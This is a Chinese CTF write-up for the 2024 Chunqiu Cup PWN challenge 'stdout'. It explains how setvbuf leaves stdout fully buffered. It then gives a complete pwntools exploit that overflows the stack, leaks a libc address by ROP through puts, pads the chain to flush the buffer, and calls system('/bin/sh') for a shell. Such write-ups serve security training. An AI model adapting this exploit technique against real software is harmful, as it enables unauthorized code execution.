2024春秋杯PWN

stdout

main函数调用init:

1
2
3
4
5
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}

setvbuf第三个参数用来控制文件流的缓冲模式,可以在下面三个值中选择:

1
2
3
#define _IOFBF // argument to setvbuf indicating fully buffered I/O
#define _IOLBF // argument to setvbuf indicating line buffered I/O
#define _IONBF // argument to setvbuf indicating unbuffered I/O

也就是说init函数用setvbuf将stdout设置为全缓冲模式,当缓冲区满/文件关闭/程序退出/调用fflush时才会将缓冲区数据进行输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *


def main():
context.log_level = "debug"

libc = ELF(
"libc-2.31.so"
)
p = process("./pwn")
elf = ELF("./pwn")
# gdb.attach(p, "b *0x401368\nb vuln\nc")
# pause()

vuln_ = 0x000000000040125D
payload = b"a" * 0x50 + b"b" * 8 + p64(vuln_)
p.send(payload)

puts_ = 0x00000000004010B0
read_addr = elf.got["read"]
s_ = 0x0000000000402039
pop_rdi_ret = 0x00000000004013D3
ret = 0x000000000040101A
extend_ = 0x0000000000401287

payload2 = b"a" * 0x20 + b"b" * 8 + p64(pop_rdi_ret) + p64(read_addr) + p64(puts_)

# 填满stdout缓冲区
for _ in range(0x18):
payload2 += p64(extend_)

payload2 += p64(pop_rdi_ret) + p64(s_ + 1) + p64(puts_)
payload2 += p64(vuln_)
p.send(payload2)
p.recvline()
read_addr_ = u64(p.recvline()[:-1].ljust(8, b"\x00"))
print("data:", hex(read_addr_))

# dump libc
offset___libc_start_main_ret = 0x24083
offset_system = 0x0000000000052290
offset_dup2 = 0x000000000010EAE0
offset_read = 0x000000000010E1E0
offset_write = 0x000000000010E280
offset_str_bin_sh = 0x1B45BD

# 计算libc基址
libc.address = read_addr_ - offset_read

# get shell
payload3 = (
b"a" * 0x20
+ b"b" * 8
+ p64(pop_rdi_ret)
+ p64(libc.address + offset_str_bin_sh)
+ p64(ret) * 5
+ p64(libc.sym["system"])
)
p.send(payload3)
# interactive
p.interactive()


if __name__ == "__main__":
main()